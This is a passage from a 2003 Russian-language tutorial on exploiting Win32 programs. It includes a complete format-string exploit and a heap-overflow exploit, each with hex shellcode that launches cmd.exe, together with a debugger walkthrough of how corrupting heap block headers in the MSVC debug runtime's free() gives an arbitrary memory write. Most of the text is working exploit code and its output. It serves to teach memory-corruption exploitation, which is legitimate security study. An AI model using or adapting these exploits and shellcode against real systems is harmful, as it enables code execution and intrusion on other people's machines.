68 61 6E 64 6C 65 64 45 78 63 65 70 74 69 6F 6E 46 69 6C 74 entProcess.-.UnhandledExceptionFilt .:-[end of disassembled]-----------начальный(верхний) кусок отвечает адресам соответствующих функций, которые представлены в нижней части блока.
Т.е. по адресу 0x00425138 и находится наш ExitProcess().
Всё что нужно теперь уже известно!
.:-[exploit code]------------------
/*
\ Format String exploit example for Win32
/
\ by xCrZx /Black Sand Project/ /01.11.03/
/
\
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
"\x33\xf6"
"\xB9\xAA\xAA\x6C\x6C"
"\xC1\xE9\x10"
"\x51"
"\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63"
"\x54"
"\xB9\xD8\x05\xE8\x77"
"\xff\xd1"
"\xb9\xaa\xaa\x65\x6d"
"\xc1\xe9\x10"
"\x51"
"\x68\x73\x79\x73\x74"
"\x54"
"\x50"
"\x8B\xF8"
"\xB9\xFD\xA5\xE7\x77"
"\xff\xd1"
"\xb9\xaa\x63\x6d\x64"
"\xC1\xE9\x08"
"\x51"
"\x54"
"\xff\xd0"
"\x56"
"\x68\x65\x78\x69\x74"
"\x54"
"\x57"
"\xb9\xfd\xa5\xe7\x77"
"\xff\xd1"
"\x56"
"\xff\xd0";
int main()
{
long ret=0x425138;//addr of ExitProcess()
char cmd[200];
long xret=0x0012feb8 - 0xee;//addr of shellcode
memset(cmd,0x00,sizeof(cmd));
strcpy(cmd,"C:\\MSVCSTAFF\\Debug\\vuln3.exe ");
sprintf(cmd+strlen(cmd),"%d %s%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%x.%%%dx.%%n",ret,shellcode,xret);
system(cmd);
return 0;
}
.:-[end of exploit code]-----------
Работоспособность:
C:\MSVCSTAFF\Debug>fmt-str-exp.exe
.....
cccccccc.Microsoft Windows XP [Верс
ия 5.1.2600]
(С) Корпорация Майкрософт, 1985-2001.
C:\MSVCSTAFF\Debug>exit
C:\MSVCSTAFF\Debug>
Как видно, всё работает! Но одно но, перезаписываемый адрес содержит 0х00 байт!
т.е. если бы не было int yo; то перезаписать этот адрес нам бы не удалось, т.к.
мы не можем использовать %<NUMBER>$n технологию:
C:\MSVCSTAFF\Debug>vuln3 11 %1$x
$x
C:\MSVCSTAFF\Debug>vuln3 11 %1\$x
\$x
C:\MSVCSTAFF\Debug>vuln3 11 %%1$x
%1$x
C:\MSVCSTAFF\Debug>vuln3 11 %%1\$x
%1\$x
А если записать адрес ExitProcess() в конце нашего запроса и последовательно извлекать из стека данные, то мы не сможем добраться до нашего адреса, т.к. мы будем добавлять всё новые и новые символы в буфер (дистанция до адреса будет сохраняться).
а перезаписать адреса тех или иных функций каких-либо модулей не удастся... Поэтому необходимо думать куда бы записать адрес, который надо перезаписать.
И вот, пожалуй, самая интересная часть :), которая заставляет думать.
Думаю, следует начать изучать данный тип уязвимости сразу с примера, как это
делал я.
.:-[source code]-------------------
#include <windows.h>
#include <stdio.h>
int main() {
char *a;
char *b;
a=(char *)malloc(100);
b=(char *)malloc(30);
char arg[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
memcpy(b,&arg,sizeof(arg));
free(a);
ExitProcess(0);
}
.:-[end of source code]------------
Предлагаю наблюдать за ходом выполнения программы в отладчике!
Как видно из примера, сперва выделяется 100 байт в heap'e и указателю а присваевается адрес этого места (с которого можно заносить данные), после чего выделяется 30 байт для b.
в моём случае а указывает на 0х00430150, а b - на 0х00430100
если глянуть на эти адреса, то можно увидеть следующую картину:
00430100 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD FD FD FD FD 00 ННННННННННННННННННННННННННННННээээ. .... 00430150 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ННННННННННННННННННННННННННННННННННН 00430173 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD ННННННННННННННННННННННННННННННННННН 00430196 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD FD FD FD FD 91 ННННННННННННННННННННННННННННННээээ'
причём, если рассматривать после выделения всю структуру целиком, то для b,
к примеру, она
принимает вид такой:
004300BA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D0 00 00 00 51 ..............................Р...Q 004300DD 00 00 00 30 01 43 00 00 00 00 00 00 00 00 00 00 00 00 00 1E 00 00 00 01 00 00 00 28 00 00 00 FD FD FD FD ...0.C.....................(...ээээ 00430100 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD FD FD FD FD 00 ННННННННННННННННННННННННННННННээээ. 00430123 00 00 00 00 00 51 00 00 00 91 00 00 00 88 49 32 00 E0 00 43 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 .....Q...'....I2.а.C.........d.....
при этом используемая юзером часть - с 0х00430100 по 0х0043011e (30 байт т.е.).
далее по программе идёт запись в b, если запустить программу, то можно увидеть окошко об ошибке, которое сообщает, что освобождаемый блок (а) испорчен (т.е. испорчен нами, т.к. мы перезаписали его часть).
Предлагаю заглянуть внутрь функции free() и выяснить всё самим:
_CRTIMP void __cdecl free(
void * pUserData
)
{
_free_dbg(pUserData, _NORMAL_BLOCK);
}
идёт вызов free в отладочном режиме
_CRTIMP void __cdecl _free_dbg(
#endif /* _MT */
void * pUserData,
int nBlockUse
)
{
_CrtMemBlockHeader * pHead;
...
pUserData - это и есть тот блок , который мы пытаемся освободить (т.е. a)
pHead - структура заголовка блока, которая выглядит следующим образом:
typedef struct _CrtMemBlockHeader
{
struct _CrtMemBlockHeader * pBlockHeaderNext;
struct _CrtMemBlockHeader * pBlockHeaderPrev;
char * szFileName;
int nLine;
size_t nDataSize;
int nBlockUse;
long lRequest;
unsigned char gap[nNoMansLandSize];
/* followed by:
* unsigned char data[nDataSize];
* unsigned char anotherGap[nNoMansLandSize];
*/
} _CrtMemBlockHeader;
далее идут проверки блока, который был передан:
/* verify heap before freeing */
if (_crtDbgFlag & _CRTDBG_CHECK_ALWAYS_DF)
_ASSERTE(_CrtCheckMemory());
if (pUserData == NULL)
return;
разумется, что, если был передан нулевой адрес блока, то на этом этапе выполнение функции free() завершится.
_ASSERTE(_CrtIsValidHeapPointer(pUserData));
тут идёт проверка самого адреса блока, если мы передали неправильный адрес (для примера 0х41414141), то на этом этапе программа выдаст нам ошибку!
/* get a pointer to memory block header */
pHead = pHdr(pUserData);
указателю pHead (который указывает на структуру _CrtMemBlockHeader) присваевается адрес структуры заголовка блока, который расположен на 0x20 байт левее адреса блока (т.е. если а = 0х00430150, то pHead = 0х00430130)
Если глянуть на адрес 0х00430130, то мы увидим, что мы его затёрли (и не только его), когда копировали информацию в b (т.к. блок b был расположен выше(левее) блока a):
00430130 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 FD FD CD CD CD AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.ээННН
ясное дело, что это и будет причина ошибки!
и вот, как и следовало ожидать, сразу после присваивания указателю pHead адреса на структуры заголовка идёт проверка блока, т.е. проверка того адреса, который был присвоен указателю:
/* verify block type */
_ASSERTE(_BLOCK_TYPE_IS_VALID(pHead->nBlockUse));
если сделать шаг дальше, то на этом месте выскочит ошибка!
Но причина не в том, что мы затёрли адрес на структуру...причина в том, что мы затерли те байты, которые используются при данной проверке:
004300EA 00 00 00 00 00 00 1E 00 00 00 01 00 00 00 28 00 00 00 FD FD FD FD CD CD CD CD CD CD CD CD CD CD CD CD CD ..............(...ээээННННННННННННН 0043010D CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD FD FD FD FD 00 00 00 00 00 00 51 00 00 00 91 00 00 00 НННННННННННННННННээээ......Q...'... 00430130 88 49 32 00 E0 00 43 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 00 00 27 00 00 00 FD FD FD FD CD CD CD .I2.а.C.........d.......'...ээээННН
вот эти байты "00 00 00 01 00 00 00 28 00 00 00".
если же их не затерать, то выполнение функции free() продолжится далее! А именно проверки и работа со структурой, на которую указывает pHead! Это и есть предмет для тщательного изучения, т.к. адрес на структуру заголовка блока мы контролируем.
И разумеется самые интересные строки далее для меня были:
..... pHead->pBlockHeaderNext->pBlockHeaderPrev = pHead->pBlockHeaderPrev; ..... pHead->pBlockHeaderPrev->pBlockHeaderNext = pHead->pBlockHeaderNext; .....
предлагаю изучить их повнимательней:
1062: pHead->pBlockHeaderNext->pBlockHeaderPrev = pHead->pBlockHeaderPrev; 00401E1C 8B 45 FC mov eax,dword ptr [pHead] 00401E1F 8B 08 mov ecx,dword ptr [eax] 00401E21 8B 55 FC mov edx,dword ptr [pHead] 00401E24 8B 42 04 mov eax,dword ptr [edx+4] 00401E27 89 41 04 mov dword ptr [ecx+4],eax
последняя инструкция вызывает опасения, т.к. ,контролируя ecx и eax, можно перезаписать какой-нибудь адрес, хранящийся в [ecx+4] на значение(адрес), которое хранится в eax. И что же вы думаете? Это действительно так! Мы контролируем eax и ecx! :)) Т.е. адрес, на который указывает pHead - мы можем перезаписать..
00401E1C 8B 45 FC mov eax,dword ptr [pHead] ^^^^^запишет в eax адрес pHead (0х00430130, если помните) 00401E1F 8B 08 mov ecx,dword ptr [eax] ^^^^^в ecx запишется то, что находится по адресу 0x00430130, КОТОРЫЙ МЫ КОНТРОЛИРУЕМ 00401E21 8B 55 FC mov edx,dword ptr [pHead] ^^^^^в edx запишется 0x00430130 00401E24 8B 42 04 mov eax,dword ptr [edx+4] ^^^^^а в eax запишется то, что находится по адресу 0х00430134 , КОТОРЫЙ МЫ ТОЖЕ КОНТРОЛИРУЕМ 00401E27 89 41 04 mov dword ptr [ecx+4],eax ^^^^^и в итоге запишем по адресу, который хранится в ecx + смещение 4байта... адрес, который записан в eax
Вот где собака зарыта! :) Теперь достаточно вместо адреса структуры заголовка блока написать адрес функции ExitProcess(), а в следующие 4 байта записать адрес, где хранится шеллкод.
Но не стоит торопиться...предлагаю рассмотреть следующую строку, которая осталась:
pHead->pBlockHeaderPrev->pBlockHeaderNext = pHead->pBlockHeaderNext; 1072: pHead->pBlockHeaderPrev->pBlockHeaderNext = pHead->pBlockHeaderNext; 00401E73 8B 45 FC mov eax,dword ptr [pHead] 00401E76 8B 48 04 mov ecx,dword ptr [eax+4] 00401E79 8B 55 FC mov edx,dword ptr [pHead] 00401E7C 8B 02 mov eax,dword ptr [edx] 00401E7E 89 01 mov dword ptr [ecx],eax
Как видно, тут мы тоже контролируем ecx & eax. НО! Следует уделить этому куску должное внимание!
00401E73 8B 45 FC mov eax,dword ptr [pHead] 00401E76 8B 48 04 mov ecx,dword ptr [eax+4] ^^^^^ в ecx будет значение адреса 0х00430134 (т.е. адрес шеллкода) 00401E79 8B 55 FC mov edx,dword ptr [pHead] 00401E7C 8B 02 mov eax,dword ptr [edx] ^^^^^ а здесь(в eax) будет значение адреса 0х00430130 (т.е. адрес ExitProcess()) 00401E7E 89 01 mov dword ptr [ecx],eax ^^^^^ ну а тут, собственно первые 4 байта нашего шеллкода перепишутся на 0х00430130
Что же делать в этом случае? :)) Не стоит отчаиваться и забывать, что при прыжке на шеллкод эти байты: "\x30\x01\x43\x00" превратятся в инструкции, которые будут выполняться! Теперь задача состоит в том, чтобы сделать так..чтоб эти инструкции ничего не испортили. Как это можно сделать? Очень просто - добавить дополнительные инструкции в начало, чтобы при интерференции картина не изменилась :)), т.е. добавить 8 буковок A, к примеру, как я и сделал!
маленькие нюансы: мы, когда добираемся до адреса структуры блока (0х00430130) сносим на своём пути другие данные, которые используются функцией __sbh_free_block при непосредственном освобождении:
004300DA 00 00 00 00 00 00 1E 00 00 00 01 00 00 00 28 00 00 00 FD FD FD FD CD CD CD CD CD CD CD CD CD CD CD CD CD ..............(...ээээННННННННННННН 004300FD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD FD FD FD FD 00 00 00 00 00 00 51 00 00 00 91 00 00 00 НННННННННННННННННээээ......Q...'... 00430120 88 49 32 00 D0 00 43 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 00 00 27 00 00 00 FD FD FD FD CD CD CD .I2.Р.C.........d.......'...ээээНННочень важно сконструировать замену этим байтам "91 00 00 00", которые являются sizeFront'ом, иначе на этом участке программа выдаст ошибку:
void __cdecl __sbh_free_block (PHEADER pHeader, void * pvAlloc)
{
....
pEntry = (PENTRY)((char *)pvAlloc - sizeof(int));
sizeEntry = pEntry->sizeFront - 1;
// point to next entry to get its size
pNext = (PENTRY)((char *)pEntry + sizeEntry);
sizeNext = pNext->sizeFront;
....
т.к. sizeFront есть ничто иное как 0х00000091 и если в нём нолики заменить на хотя бы те же 0х01, то получится 0х01010191, что есть 16843153. И представьте какой адрес тогда присвоится указателю pNext при наличии вот такого громадного смещения!
Чтобы избежать этой трудности...достаточно записать вместо этих 4байт маленькую величину, такую как 0хffffffff :). Вот и всё! Проблема решена!
Окончательный вариант получается таков (эксплоит):
.:-[exploit code]------------------
/*
\ Heap Overflow exploit example for Win32
/
\ by xCrZx /Black Sand Project/ /02.11.03/
/
\
*/
#include <windows.h>
#include <stdio.h>
char shellcode[] =
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x33\xD2"
"\x52"
"\x68\x6C\x6C\x20\x20"
"\x68\x72\x74\x2E\x64"
"\x68\x6D\x73\x76\x63"
"\x54"
"\xB9\xD8\x05\xE8\x77"
"\xFF\xD1"
"\x52"
"\x68\x20\x63\x6D\x64"
"\x54"
"\xB9\x44\x80\xC1\x77"
"\xFF\xD1"
"\x52"
"\xB9\xDC\x7A\xC2\x77"
"\xFF\xD1";
int main() {
char *a;
char *b;
a=(char *)malloc(100);
b=(char *)malloc(30);
printf("%p\n",shellcode);
char arg[]=
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //malloc(30)
"\xfd\xfd\xfd\xfd"
"\x01\x01\x01\x01\x01\x01\x51\x01\x01\x01\xff\xff\xff\xff" //important
data
"\x34\x51\x42\x00" //0x00425134+4 -- addr of ExitProcess()
"\x30\x2a\x42\x00" //0x00422a30 -- addr of shellcode
;
memcpy(b,&arg,sizeof(arg));
free(a);
ExitProcess(0);
}
.:-[end of exploit code]-----------
Ед. проблема, опять остающаяся в силе - это 0х00 в адресах, которые нужно использовать! В случае с memcpy() нули не играют никакой роли, а вот, если использовать strcpy, etc., то необходимо задуматься, что именно надо переписать, и где именно расположить шеллкод! ;)
В этой области довольно много интересного, если покопать хорошенько ;) !
Надеюсь я смог объяснить основные принципы эксплоитинга для Win32! Для этого достаточно было взять дебагер и поизучать работу программ в целом! И как оказалось ничего сложного по сути и нет..Как говорится, было бы желание! ;)
-> Приветы :)) ->
Billi_k1d'y, alphe, tank'y, c1sco, v1pee, ni69az'y, Ares'y, damned'y, akid'y
ulgrig'y, hhs'y, tANDm'y и остальным :)
[Copyrights (C) 2003 Crazy Einstein (aka xCrZx) crazy_einstein@yahoo.com
/02.11.03/]
Спойлер: мы раскрываем их любимые трюки